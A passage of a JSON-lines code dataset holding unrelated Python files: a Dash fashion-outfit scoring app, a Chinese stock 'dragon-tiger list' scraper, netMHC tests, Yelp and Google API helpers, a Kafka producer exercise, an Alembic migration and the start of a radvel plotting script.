\"/home/wangx/fashion_compatibility_mcn/data\"\nroot = \"/mnt/iusers01/fatpou01/matsci01/t80083xw/scratch/fashion_compatibility_mcn/data\"\nimg_root = os.path.join(root, \"images\")\njson_file = os.path.join(root, \"test_no_dup_with_category_3more_name.json\")\n\njson_data = json.load(open(json_file))\n\ntop_options, bottom_options, shoe_options, bag_options, accessory_options = [], [], [], [], []\nprint(\"Load options...\")\nfor cnt, (iid, outfit) in enumerate(json_data.items()):\n if cnt > 10:\n break\n if \"upper\" in outfit:\n label = os.path.join(iid, str(outfit['upper']['index']))\n value = os.path.join(img_root, label) + \".jpg\"\n top_options.append({'label': label, 'value': value})\n if \"bottom\" in outfit:\n label = os.path.join(iid, str(outfit['bottom']['index']))\n value = os.path.join(img_root, label) + \".jpg\"\n bottom_options.append({'label': label, 'value': value})\n if \"shoe\" in outfit:\n label = os.path.join(iid, str(outfit['shoe']['index']))\n value = os.path.join(img_root, label) + \".jpg\"\n shoe_options.append({'label': label, 'value': value})\n if \"bag\" in outfit:\n label = os.path.join(iid, str(outfit['bag']['index']))\n value = os.path.join(img_root, label) + \".jpg\"\n bag_options.append({'label': label, 'value': value})\n if \"accessory\" in outfit:\n label = os.path.join(iid, str(outfit['accessory']['index']))\n value = os.path.join(img_root, label) + \".jpg\"\n accessory_options.append({'label': label, 'value': value})\n\n\napp.layout = html.Div([\n html.H1(\"Fashion Outfit Diagnosis\", style={\n \"margin\": \"0.5em 1em 0.5em 1em\"\n }),\n html.Div([\n html.Div([\n html.H4(children=\"Top\"),\n dcc.Dropdown(\n id='top',\n options=top_options,\n value=random.choice(top_options)['value'],\n style={\"float\": \"left\", \"width\": \"300px\"}\n ),\n dcc.Upload(id=\"upload-top\", children=['Drop here or ', html.A('Upload')], style={\n \"margin-left\": \"300px\", \"textAlign\": \"center\", \"border\": \"1px dashed black\", \"line-height\": \"34px\", \"height\": \"34px\", \"border-radius\": \"5px\"\n }),\n ], style={\"margin\": \"1em 1em 1em 1em\"}),\n html.Div([\n html.H4(children=\"bottom\"),\n dcc.Dropdown(\n id='bottom',\n options=bottom_options,\n value=random.choice(bottom_options)['value'],\n style={\"float\": \"left\", \"width\": \"300px\"}\n ),\n dcc.Upload(id=\"upload-bottom\", children=['Drop here or ', html.A('Upload')], style={\n \"margin-left\": \"300px\", \"textAlign\": \"center\", \"border\": \"1px dashed black\", \"line-height\": \"34px\", \"height\": \"34px\", \"border-radius\": \"5px\"\n }),\n ], style={\"margin\": \"1em 1em 1em 1em\"}),\n html.Div([\n html.H4(children=\"shoe\"),\n dcc.Dropdown(\n id='shoe',\n options=shoe_options,\n value=random.choice(shoe_options)['value'],\n style={\"float\": \"left\", \"width\": \"300px\"}\n ),\n dcc.Upload(id=\"upload-shoe\", children=['Drop here or ', html.A('Upload')], style={\n \"margin-left\": \"300px\", \"textAlign\": \"center\", \"border\": \"1px dashed black\", \"line-height\": \"34px\", \"height\": \"34px\", \"border-radius\": \"5px\"\n }),\n ], style={\"margin\": \"1em 1em 1em 1em\"}),\n html.Div([\n html.H4(children=\"bag\"),\n dcc.Dropdown(\n id='bag',\n options=bag_options,\n value=random.choice(bag_options)['value'],\n style={\"float\": \"left\", \"width\": \"300px\"}\n ),\n dcc.Upload(id=\"upload-bag\", children=['Drop here or ', html.A('Upload')], style={\n \"margin-left\": \"300px\", \"textAlign\": \"center\", \"border\": \"1px dashed black\", \"line-height\": \"34px\", \"height\": \"34px\", \"border-radius\": \"5px\"\n }),\n ], style={\"margin\": \"1em 1em 1em 1em\"}),\n html.Div([\n html.H4(children=\"accessory\"),\n dcc.Dropdown(\n id='accessory',\n options=accessory_options,\n value=random.choice(accessory_options)['value'],\n style={\"float\": \"left\", \"width\": \"300px\"}\n ),\n dcc.Upload(id=\"upload-accessory\", children=['Drop here or ', html.A('Upload')], style={\n \"margin-left\": \"300px\", \"textAlign\": \"center\", \"border\": \"1px dashed black\", \"line-height\": \"34px\", \"height\": \"34px\", \"border-radius\": \"5px\"\n }),\n ], style={\"margin\": \"1em 1em 1em 1em\"}),\n html.Button(id='submit-button', n_clicks=0, children='Submit', style={\n \"margin\": \"1.5em\"\n }),\n ], style={\n \"display\": \"inline-block\",\n \"vertical-align\": \"top\",\n \"width\": \"35%\",\n \"border\": \"1px solid black\",\n \"border-radius\": \"5px\",\n }),\n html.Div([\n html.Div(id=\"input-state\", children=[\n html.H4(children=\"Current outfit\"),\n html.Img(id='top-img', style={\"max-height\":\"150px\", \"margin\":\"5px\"}),\n html.Img(id='bottom-img', style={\"max-height\":\"150px\", \"margin\": \"5px\"}),\n html.Img(id='shoe-img', style={\"max-height\": \"150px\", \"margin\": \"5px\"}),\n html.Img(id='bag-img', style={\"max-height\": \"150px\", \"margin\": \"5px\"}),\n html.Img(id='accessory-img', style={\"max-height\": \"150px\", \"margin\": \"5px\"}),\n ]),\n html.Div(id=\"output-state\")\n ], style={\n \"display\": \"inline-block\",\n \"vertical-align\": \"top\",\n \"width\": \"60%\",\n \"margin\": \"1em 1em 1em 1em\",\n })\n])\n\n@app.callback(\n Output('top-img', 'src'),\n [Input('top', 'value'), Input('upload-top', 'contents')],\n [State('upload-top', 'filename'),\n State('upload-top', 'last_modified')])\ndef update_top(fname, content, name, date):\n ctx = dash.callback_context\n triggered = ctx.triggered[0]['prop_id']\n if 'upload' in triggered and content is not None:\n content_type, content_string = content.split(',')\n return 'data:image/png;base64,{}'.format(\n content_string)\n elif fname is not None and os.path.exists(fname):\n encoded_img = base64.b64encode(open(fname, \"rb\").read())\n return 'data:image/png;base64,{}'.format(\n encoded_img.decode())\n\n@app.callback(\n Output('bottom-img', 'src'),\n [Input('bottom', 'value'), Input('upload-bottom', 'contents')],\n [State('upload-bottom', 'filename'),\n State('upload-bottom', 'last_modified')])\ndef update_bottom(fname, content, name, date):\n ctx = dash.callback_context\n triggered = ctx.triggered[0]['prop_id']\n if 'upload' in triggered and content is not None:\n content_type, content_string = content.split(',')\n return 'data:image/png;base64,{}'.format(\n content_string)\n elif fname is not None and os.path.exists(fname):\n encoded_img = base64.b64encode(open(fname, \"rb\").read())\n return 'data:image/png;base64,{}'.format(\n encoded_img.decode())\n\n@app.callback(\n Output('shoe-img', 'src'),\n [Input('shoe', 'value'), Input('upload-shoe', 'contents')],\n [State('upload-shoe', 'filename'),\n State('upload-shoe', 'last_modified')])\ndef update_shoe(fname, content, name, date):\n ctx = dash.callback_context\n triggered = ctx.triggered[0]['prop_id']\n if 'upload' in triggered and content is not None:\n content_type, content_string = content.split(',')\n return 'data:image/png;base64,{}'.format(\n content_string)\n elif fname is not None and os.path.exists(fname):\n encoded_img = base64.b64encode(open(fname, \"rb\").read())\n return 'data:image/png;base64,{}'.format(\n encoded_img.decode())\n\n@app.callback(\n Output('bag-img', 'src'),\n [Input('bag', 'value'), Input('upload-bag', 'contents')],\n [State('upload-bag', 'filename'),\n State('upload-bag', 'last_modified')])\ndef update_bag(fname, content, name, date):\n ctx = dash.callback_context\n triggered = ctx.triggered[0]['prop_id']\n if 'upload' in triggered and content is not None:\n content_type, content_string = content.split(',')\n return 'data:image/png;base64,{}'.format(\n content_string)\n elif fname is not None and os.path.exists(fname):\n encoded_img = base64.b64encode(open(fname, \"rb\").read())\n return 'data:image/png;base64,{}'.format(\n encoded_img.decode())\n\n@app.callback(\n Output('accessory-img', 'src'),\n [Input('accessory', 'value'), Input('upload-accessory', 'contents')],\n [State('upload-accessory', 'filename'),\n State('upload-accessory', 'last_modified')])\ndef update_accessory(fname, content, name, date):\n ctx = dash.callback_context\n triggered = ctx.triggered[0]['prop_id']\n if 'upload' in triggered and content is not None:\n content_type, content_string = content.split(',')\n return 'data:image/png;base64,{}'.format(\n content_string)\n elif fname is not None and os.path.exists(fname):\n encoded_img = base64.b64encode(open(fname, \"rb\").read())\n return 'data:image/png;base64,{}'.format(\n encoded_img.decode())\n\n@app.callback(Output('output-state', 'children'),\n [Input('submit-button', 'n_clicks')],\n [State('top-img', 'src'),\n State('bottom-img', 'src'),\n State('shoe-img', 'src'),\n State('bag-img', 'src'),\n State('accessory-img', 'src')])\ndef update_output(n_clicks, top, bottom, shoe, bag, accessory):\n if n_clicks > 0:\n img_dict = {\n \"top\": top.split(',')[1],\n \"bottom\": bottom.split(',')[1],\n \"shoe\": shoe.split(',')[1],\n \"bag\": bag.split(',')[1],\n \"accessory\": accessory.split(',')[1]\n }\n img_tensor = base64_to_tensor(img_dict)\n img_tensor.unsqueeze_(0)\n relation, score = defect_detect(img_tensor, model)\n relation = relation.squeeze()\n result, order = item_diagnosis(relation, select=[0, 1, 2, 3, 4])\n best_score, best_img_path = retrieve_sub(img_tensor, [0, 1, 2, 3, 4], order)\n\n out = [html.H4(children=\"Revised Outfit\"), html.H4(children=\"Score: {:.4f}\".format(score)), html.H4(children=\"Revised Score: {:.4f}\".format(best_score))]\n\n for part in [\"top\", \"bottom\", \"shoe\", \"bag\", \"accessory\"]:\n if part in best_img_path.keys():\n fname = best_img_path[part]\n encoded_img = base64.b64encode(open(fname, \"rb\").read())\n src= 'data:image/png;base64,{}'.format(encoded_img.decode())\n else:\n src = locals()[part]\n out.append(html.Img(id='{}-img-new'.format(part), style={\"max-height\":\"150px\", \"margin\":\"5px\"}, src=src))\n\n return out\n\ndef item_diagnosis(relation, select):\n \"\"\" Output the most incompatible item in the outfit\n \n Return:\n result (list): Diagnosis value of each item \n order (list): The indices of items ordered by its importance\n \"\"\"\n mats = vec2mat(relation, select)\n for m in mats:\n mask = torch.eye(*m.shape).byte()\n m.masked_fill_(mask, 0)\n result = torch.cat(mats).sum(dim=0)\n order = [i for i, j in sorted(enumerate(result), key=lambda x:x[1], reverse=True)]\n return result, order\n\ndef retrieve_sub(x, select, order):\n \"\"\" Retrieve the datset to substitute the worst item for the best choice.\n \"\"\"\n all_names = {0:'upper', 1:'bottom', 2:'shoe', 3:'bag', 4:'accessory'}\n try_most = 20\n \n best_score = -1\n best_img_path = dict()\n\n for o in order:\n if best_score > 0.9:\n break\n problem_part_idx = select[o]\n problem_part = all_names[problem_part_idx]\n for outfit in random.sample(test_dataset.data, try_most):\n if best_score > 0.9:\n break\n if problem_part in outfit[1]:\n img_path = os.path.join(test_dataset.root_dir, outfit[0], str(outfit[1][problem_part]['index'])) + '.jpg'\n img = Image.open(img_path).convert('RGB')\n img = test_dataset.transform(img).to(device)\n x[0][problem_part_idx] = img\n with torch.no_grad():\n out = model._compute_score(x)\n score = out[0]\n if score.item() > best_score:\n best_score = score.item()\n best_img_path[problem_part] = img_path\n x[0][problem_part_idx] = test_dataset.transform(Image.open(best_img_path[problem_part]).convert('RGB')).to(device)\n \n print('problem_part: {}'.format(problem_part))\n print('best substitution: {} {}'.format(problem_part, best_img_path[problem_part]))\n print('After substitution the score is {:.4f}'.format(best_score))\n return best_score, best_img_path\n\ndef base64_to_tensor(image_bytes_dict):\n my_transforms = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.ToTensor(),\n ])\n outfit_tensor = []\n for k, v in image_bytes_dict.items():\n img = base64_to_image(v)\n tensor = my_transforms(img)\n outfit_tensor.append(tensor.squeeze())\n outfit_tensor = torch.stack(outfit_tensor)\n outfit_tensor = outfit_tensor.to(device)\n return outfit_tensor\n\ndef base64_to_image(base64_str):\n base64_data = re.sub('^data:image/.+;base64,', '', base64_str)\n byte_data = base64.b64decode(base64_data)\n image_data = io.BytesIO(byte_data)\n img = Image.open(image_data)\n return img\n\nif __name__ == \"__main__\":\n app.run_server(debug=True, host='0.0.0.0')\n\n","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"50626649","text":"# -*- coding: utf-8 -*-\r\n# 实现, 东方财富的 龙虎榜爬虫 \r\nimport pandas as pd\r\nimport numpy as np\r\nfrom scrapy import Selector\r\nimport urllib\r\nimport urllib.request\r\nimport urllib.error\r\nimport datetime, time\r\nimport re\r\n\r\n\r\ndef dateRange(start, end, step=1, format=\"%Y-%m-%d\"):\r\n strptime, strftime = datetime.datetime.strptime, datetime.datetime.strftime\r\n days = (strptime(end, format) - strptime(start, format)).days \r\n return [strftime(strptime(start, format) + datetime.timedelta(i), format) for i in range(0, days +1 , step)]\r\n \r\ndef Get_LHB_stocks_from_excel(begin_date, end_date):\r\n Timeline = dateRange(begin_date, end_date)\r\n dfs = pd.DataFrame()\r\n for date_id in Timeline:\r\n# print( 'Date: ', date_id )\r\n URL_stocks_infos = r'http://data.eastmoney.com/DataCenter_V3/stock2016/TradeDetail/pagesize=200,page=1,sortRule=-1,sortType=,startDate='+ date_id + ',endDate=' + date_id + ',gpfw=0,js=var%20data_tab_1.html?rt=26442172'\r\n html = urllib.request.urlopen(URL_stocks_infos).read()\r\n html = html.decode('gb2312','ignore')\r\n X = re.split( ',\"url\"' , html )[0]\r\n X = re.split( '\"data\":' , X )[1] \r\n df = pd.read_json( X , orient='records')\r\n if(len(df) != 0 ):\r\n df2 = df[['Tdate', 'SCode', 'SName','JD','ClosePrice', 'Chgradio', 'JmMoney', 'Bmoney', \\\r\n 'Smoney', 'ZeMoney', 'Turnover', 'JmRate', 'ZeRate', 'Dchratio', 'Ltsz', 'Ctypedes' ]]\r\n colunms_name = ['Code', 'Name', '解读', '收盘价', '涨跌幅', '龙虎榜净买额', '龙虎榜买入额', '龙虎榜卖出额', \\\r\n '龙虎榜成交额', '市场总成交额', '净买额占总成交比', '成交额占比' , '换手率', '流通市值', '上榜原因']\r\n df2 = df2.rename( columns = {'Tdate': 'Date', 'SCode': colunms_name[0], 'SName':colunms_name[1], 'JD': colunms_name[2], 'ClosePrice': colunms_name[3] , \\\r\n 'Chgradio': colunms_name[4], 'JmMoney': colunms_name[5], 'Bmoney': colunms_name[6], \\\r\n 'Smoney':colunms_name[7], 'ZeMoney':colunms_name[8], 'Turnover':colunms_name[9], 'JmRate':colunms_name[10], \\\r\n 'ZeRate':colunms_name[11], 'Dchratio':colunms_name[12], 'Ltsz':colunms_name[13], 'Ctypedes':colunms_name[14] } )\r\n df2['Wind_Code'] = str( df2['Code'] )\r\n S_codes = list() \r\n for i in df2['Code']:\r\n if( len( str(i) ) <6 ):\r\n s = '0'*(6-len( str(i) )) + str(i)\r\n else:\r\n s = str(i)\r\n if(s[0] == '6'):\r\n s = s+'.SH'\r\n else:\r\n s = s+'.SZ'\r\n if( len(S_codes) ==0 ):\r\n S_codes = [s]\r\n else:\r\n S_codes.append(s)\r\n df2['Wind_Code'] = S_codes\r\n print( 'Date: ', date_id, '上榜条数: ', len(df2), ', 上榜股票只数: ', len( df2['Wind_Code'].unique() ) )\r\n dfs = dfs.append(df2)\r\n else:\r\n print( 'Date: ', date_id, '上榜条数: ', 0, ', 上榜股票只数: ', 0 )\r\n return dfs\r\n\r\ndef Crawl_web(code, date):\r\n url = 'http://data.eastmoney.com/stock/lhb,'+ date +','+ code[0:6] +'.html'\r\n ########\r\n content = urllib.request.urlopen(url).read()\r\n content = content.decode('gb2312','ignore')\r\n sel = Selector(text = content).xpath('//div[@class=\"data-tips\"]//div[@class=\"left con-br\"]//text()').extract()\r\n Table_datas = pd.DataFrame()\r\n for i in range(len(sel)):\r\n s_type = sel[i].split('类型:')[1]\r\n data1 = Selector(text = content).xpath('//div[@class=\"data-tips\"]//div[@class=\"right\"]//span//text()').extract()\r\n P_close = data1[0]\r\n Rtn = data1[1]\r\n ###################\r\n links_table_buy = Selector(text = content).xpath('//div[@class=\"content-sepe\"]//table[@class=\"default_tab stock-detail-tab\"]//tbody')\r\n links_table_sell = Selector(text = content).xpath('//div[@class=\"content-sepe\"]//table[@class=\"default_tab tab-2\"]//tbody')\r\n ####################\r\n List_buy_top, Table_data_buy = HTML_Parse( [links_table_buy[i]] )\r\n Table_data_buy['ID'] = 'top_buy'\r\n List_sell_top, Table_data_sell = HTML_Parse( [links_table_sell[i]] )\r\n Table_data_sell['ID'] = 'top_sell'\r\n Table_data = pd.concat( [Table_data_buy, Table_data_sell], ignore_index=True)\r\n Table_data['Code'] = code\r\n Table_data['Date'] = date\r\n Table_data['Type'] = s_type\r\n Table_data['P_close'] = P_close\r\n Table_data['Rtn'] = Rtn\r\n Table_datas = Table_datas.append(Table_data)\r\n if(len(Table_datas)>0):\r\n Table_datas = Table_datas[['Code', 'Date', 'Type', 'P_close', 'Rtn', 'ID', 'sec_name', 'amt_buy', 'amt_sell' ]]\r\n return Table_datas \r\n\r\ndef HTML_Parse(links_tables):\r\n List = [] \r\n for ind, link_table in enumerate(links_tables):\r\n links = link_table.xpath('.//tr') \r\n for ind2, link2 in enumerate(links):\r\n sc_name = link2.xpath('.//td//div[@class=\"sc-name\"]//a//text()').extract()\r\n if( len(sc_name) >0):\r\n Amt_buy = link2.xpath('.//td[@style=\"color:red\"]//text()').extract()\r\n Amt_sell = link2.xpath('.//td[@style=\"color:Green\"]//text()').extract()\r\n if(len(Amt_buy)>0):\r\n Amt_buy = Amt_buy[0]\r\n else:\r\n Amt_buy = np.nan\r\n if(len(Amt_sell)>0):\r\n Amt_sell = Amt_sell[0]\r\n else:\r\n Amt_sell = np.nan \r\n# print(sc_name, Amt_buy, Amt_sell)\r\n List.append([sc_name[0], Amt_buy, Amt_sell])\r\n table_data = pd.DataFrame(List)\r\n table_data = table_data.rename(columns = {0:'sec_name', 1:'amt_buy', 2:'amt_sell'})\r\n return List, table_data\r\n\r\ndef main(begin_date, end_date):\r\n Stocks_info = Get_LHB_stocks_from_excel(begin_date, end_date)\r\n Timeline_unique = np.unique(Stocks_info['Date']) \r\n for date in Timeline_unique:\r\n Table_datas = pd.DataFrame() \r\n CODES = Stocks_info[Stocks_info['Date'] == date]['Wind_Code'].unique()\r\n for code in CODES: \r\n df = [] \r\n print('Downloading ......', code, date)\r\n df = Crawl_web(code, date) \r\n repeat_times = 1 \r\n while(len(df) == 0 and repeat_times <= 10 ):\r\n print('...... length 为 0 ...... ', code, date)\r\n time.sleep(60*3)\r\n df = Crawl_web(code, date) \r\n if(len(df)>0):\r\n print('Sucessful Download ......', code, date)\r\n repeat_times = repeat_times + 1\r\n Table_datas = Table_datas.append(df) \r\n str_result_filename = \"./data/龙虎榜具体信息_\"+ str( min(Table_datas['Date'])) + '_'+ str( max(Table_datas['Date'])) + \".xlsx\"\r\n writer = pd.ExcelWriter(str_result_filename) \r\n Table_datas.to_excel(writer, sheet_name = 'LHB' , index=False) \r\n writer.save() \r\n ##########################\r\n str_result_filename = \"./龙虎榜综合信息_\"+ str( min(Stocks_info['Date'])) + '_'+ str( max(Stocks_info['Date'])) + \".xlsx\"\r\n writer = pd.ExcelWriter(str_result_filename) \r\n Stocks_info.to_excel(writer, sheet_name = '龙虎榜日综合数据' , index=False) \r\n writer.save()\r\n return 0 \r\n \r\n########### main function ######################## \r\nif __name__ == '__main__': \r\n begin_date = '2019-12-01' \r\n end_date = '2019-12-31' \r\n# Stocks_info = Get_LHB_stocks_from_excel(begin_date, end_date) \r\n main(begin_date, end_date) \r\n\r\n\r\n\r\n","sub_path":"Update_Download_LHB_from_DFCF.py","file_name":"Update_Download_LHB_from_DFCF.py","file_ext":"py","file_size_in_byte":7771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"522286844","text":"string1=\"Alegria\"\r\n\r\ndef anagrama(string1,Anagram):\r\n string1=string1.lower()\r\n Anagram=Anagram.lower()\r\n for i in string1:\r\n if Anagram.find(i) == -1 or Anagram.count(i) != string1.count(i):\r\n res=\"Não é anagrama\"\r\n break\r\n else:\r\n res=\"É anagrama\"\r\n return res\r\n\r\nprint(anagrama(string1,\"geleira\"))\r\n\r\n","sub_path":"Cap6/Cap6_exos_ficha/Ex 5..py","file_name":"Ex 5..py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"255842711","text":"from nose.tools import raises, eq_\n\nfrom mhctools import NetMHC, NetMHC3, NetMHC4\nfrom mhctools.alleles import normalize_allele_name\n\n\ndef run_class_with_executable(mhc_class, mhc_executable):\n alleles = [normalize_allele_name(\"HLA-A*02:01\")]\n predictor = mhc_class(\n alleles=alleles,\n epitope_lengths=[9],\n program_name=mhc_executable)\n fasta_dictionary = {\n \"SMAD4-001\": \"ASIINFKELA\",\n \"TP53-001\": \"ASILLLVFYW\"\n }\n epitope_collection = predictor.predict(\n fasta_dictionary=fasta_dictionary)\n\n@raises(SystemError)\ndef test_executable_mismatch_3_4():\n run_class_with_executable(NetMHC3, \"netMHC\")\n\n@raises(SystemError)\ndef test_executable_mismatch_4_3():\n run_class_with_executable(NetMHC4, \"netMHC-3.4\")\n\ndef test_wrapper_function():\n alleles = [normalize_allele_name(\"HLA-A*02:01\")]\n wrapped_4 = NetMHC(alleles=alleles,\n epitope_lengths=[9],\n program_name=\"netMHC\")\n eq_(type(wrapped_4), NetMHC4)\n wrapped_3 = NetMHC(alleles=alleles,\n epitope_lengths=[9],\n program_name=\"netMHC-3.4\")\n eq_(type(wrapped_3), NetMHC3)\n\n@raises(SystemError)\ndef test_wrapper_failure():\n alleles = [normalize_allele_name(\"HLA-A*02:01\")]\n NetMHC(alleles=alleles,\n epitope_lengths=[9],\n program_name=\"netMHC-none\")\n","sub_path":"test/test_netmhc_version.py","file_name":"test_netmhc_version.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"310103967","text":"import requests\nimport os\nimport sys\n\ncache = {}\n\n\n# must have at least location parameter\ndef find_restaurants(params):\n \"\"\"Look up restaurant data from Yelp.\"\"\"\n url = 'https://api.yelp.com/v3/businesses/search'\n\n if 'key' not in cache:\n get_auth_key()\n\n headers = {\n 'Authorization': 'Bearer {}'.format(cache['key']),\n }\n\n data = requests.get(url, params=params, headers=headers)\n\n return data\n\n\ndef get_auth_key():\n \"\"\"Retrieve Authorization token from Yelp.\"\"\"\n url = 'https://api.yelp.com/oauth2/token'\n params = {\n 'grant_type': 'client_credentials',\n 'client_id': os.environ['CLIENT_ID'],\n 'client_secret': os.environ['CLIENT_SECRET'],\n }\n\n key = requests.post(url, params).json()['access_token']\n # store key for further requests\n cache['key'] = key\n\n return cache['key']\n\n\ndef get_search_results(params):\n \"\"\"Retrieve prediction results from google autocomplete api.\"\"\"\n url = 'https://maps.googleapis.com/maps/api/place/autocomplete/json?'\n params['key'] = os.environ['API_KEY']\n\n print(params, file=sys.stderr)\n\n results = requests.get(url, params=params)\n\n return results\n","sub_path":"restaurants/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"49246430","text":"# 의도적으로 에러 발생시키기.\n\n# 한자리 숫자에 대해서만 나눗셈을 허용하는 계산기 프로그램.\ntry:\n print(\"한 자리 숫자 나누기 전용 계산기입니다.\")\n num1 = int(input(\"첫 번째 숫자를 입력해주세요 : \"))\n num2 = int(input(\"두 번째 숫자를 입력해주세요 : \"))\n if num1 >= 10 or num2 >= 10: # 특정 조건에 에러를 발생시켜서 except 부분을 실행시킬 수 있다.\n raise ValueError\n print(\"{0} / {1} = {2}\".format(num1, num2, int(num1/num2)))\nexcept ValueError:\n print(\"잘못된 값을 입력하였습니다. 한 자리 숫자만 입력하세요.\") ","sub_path":"files/exceptionPy/generateError.py","file_name":"generateError.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"414780942","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 2 22:11:21 2020\n\n@author: User\n\"\"\"\n\nfrom dataclasses import dataclass, field\nimport json\nimport random\n\nfrom confluent_kafka import Consumer, Producer\nfrom confluent_kafka.admin import AdminClient, NewTopic\nfrom faker import Faker\n\nfaker = Faker()\n\nBROKER_URL = \"PLAINTEXT://localhost:9092\"\nTOPIC_NAME = \"org.udacity.exercise4.purchases\"\n\ndef produce(topic_name):\n '''Produces data synchonously into a Kafka topic'''\n \n p = Producer(\n {\n \"bootstrap.servers\": BROKER_URL,\n \"client.id\": \"client.1234\",\n \"batch.size\": 100,\n \"linger.ms\": 1000,\n \"compression.type\": \"lz4\"\n }\n )\n \n while True:\n p.produce(topic_name, Purchase().serialize())\n \ndef main():\n '''Check for topic and creates the topic if not exist'''\n \n create_topic(TOPIC_NAME)\n try:\n produce(TOPIC_NAME)\n except KeyboardInterrupt as e:\n print(\"shutting down\")\n \ndef create_topic(client):\n '''Creates the topic with the given topic name'''\n client = AdminClient({\"bootstrap.servers\": BROKER_URL})\n futures = client.create_topics(\n [NewTopic(topic=TOPIC_NAME, num_partitions=5, replication_factor=1)]\n )\n for _, future in futures.items():\n try:\n future.result()\n except Exception as e:\n pass\n \n\n@dataclass\nclass Purchase:\n username: str = field(default_factory=faker.user_name)\n currency: str = field(default_factory=faker.currency_code)\n amount: int = field(default_factory=lambda: random.randint(100, 200000))\n \n def serialize(self):\n '''Serialize the obj in JSON string format'''\n return json.dumps(\n {\n \"username\":self.username,\n \"currency\":self.currency,\n \"amount\":self.amount,\n })\n \n \nif __name__ == \"__main__\":\n main()","sub_path":"producer_exercise.py","file_name":"producer_exercise.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"358263500","text":"\"\"\"empty message\n\nRevision ID: 468f4d9b6b05\nRevises: d5db53144449\nCreate Date: 2020-01-15 12:59:34.655925\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '468f4d9b6b05'\ndown_revision = 'd5db53144449'\nbranch_labels = None\ndepends_on = None\n\n# Table for data migration\nsample = sa.sql.table('sample', sa.Column('name', sa.Text()))\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('sample', sa.Column('name', sa.Text(), nullable=True))\n # ### end Alembic commands ###\n # Update existing rows with default value for name\n op.execute(sample.update().values({\"name\": \"Unknown\"}))\n op.alter_column('sample', 'name', existing_type=sa.TEXT(), nullable=False)\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('sample', 'name')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/468f4d9b6b05_.py","file_name":"468f4d9b6b05_.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"409877344","text":"\"\"\"\nenv: py37_emcee2\n\"\"\"\n\nimport radvel\nfrom radvel import driver\nfrom radvel.plot import orbit_plots, mcmc_plots\nfrom radvel.mcmc import statevars\nfrom radvel import plot\nfrom radvel.utils import t_to_phase, fastbin, sigfig\nfrom radvel.driver import load_status, save_status\nimport configparser, os, emcee\n\nimport numpy as np\nimport matplotlib\nfrom matplotlib import rcParams, gridspec\nfrom matplotlib import pyplot as plt\nfrom matplotlib.cm import nipy_spectral\nfrom matplotlib.ticker import MaxNLocator\nfrom matplotlib.offsetbox import AnchoredText\nfrom astropy.time import Time\n\nfrom astropy import units as units, constants as const\n\n##########\n# config #\n##########\nlatex = {\n 'ms': r'm s$^{\\mathregular{-1}}$',\n 'BJDTDB': r'BJD$_{\\mathregular{TDB}}$'\n}\n\ntelfmts_default = {\n 'j': dict(color='C2', marker=u'o', label='HIRES', mew=1),\n 'k': dict(color='k', fmt='s', mfc='none', label='HIRES pre 2004', mew=1),\n 'a': dict(color='g', fmt='d', label='APF'),\n 'pfs': dict(color='magenta', fmt='p', label='PFS'),\n 'CORALIE': dict(color='C0', fmt='d', label='CORALIE'),\n 'h': dict(color='C1', fmt=\"s\", label='HARPS'),\n 'harps-n': dict(color='firebrick', fmt='^', label='HARPS-N'),\n 'l': dict(color='g', fmt='*', label='LICK'),\n}\ntelfmts_default['lick'] = telfmts_default['l']\ntelfmts_default['hires_rj'] = telfmts_default['j']\ntelfmts_default['hires'] = telfmts_default['j']\ntelfmts_default['hires_rk'] = telfmts_default['k']\ntelfmts_default['apf'] = telfmts_default['a']\ntelfmts_default['harps'] = telfmts_default['h']\ntelfmts_default['LICK'] = telfmts_default['l']\ntelfmts_default['HIRES_RJ'] = telfmts_default['j']\ntelfmts_default['HIRES'] = telfmts_default['j']\ntelfmts_default['HIRES_RK'] = telfmts_default['k']\ntelfmts_default['APF'] = telfmts_default['a']\ntelfmts_default['HARPS'] = telfmts_default['h']\ntelfmts_default['HARPS-N'] = telfmts_default['harps-n']\ntelfmts_default['PFS'] = telfmts_default['pfs']\n\n\ncmap = nipy_spectral\nrcParams['font.size'] = 9\nrcParams['lines.markersize'] = 3.5\nrcParams['axes.grid'] = False\ndefault_colors = ['orange', 'purple', 'magenta', 'pink', 'green', 'grey', 'red']\n\nhighlight_format = dict(marker='o', ms=16, mfc='none', mew=2, mec='gold', zorder=99)\n\n\nif not emcee.__version__ == \"2.2.1\":\n raise AssertionError('radvel requires emcee v2')\n\nclass args_object(object):\n \"\"\"\n a minimal version of the \"parser\" object that lets you work with the\n high-level radvel API from python. (without directly using the command line\n interface)\n \"\"\"\n def __init__(self, setupfn, outputdir):\n # return args object with the following parameters set\n self.setupfn = setupfn\n self.outputdir = outputdir\n self.decorr = False\n self.plotkw = {}\n self.gp = False\n\n\ndef limit_plots(args):\n \"\"\"\n Generate plots\n\n Args:\n args (ArgumentParser): command line arguments\n \"\"\"\n\n config_file = args.setupfn\n conf_base = os.path.basename(config_file).split('.')[0]\n statfile = os.path.join(\n args.outputdir, \"{}_radvel.stat\".format(conf_base)\n )\n\n status = load_status(statfile)\n\n 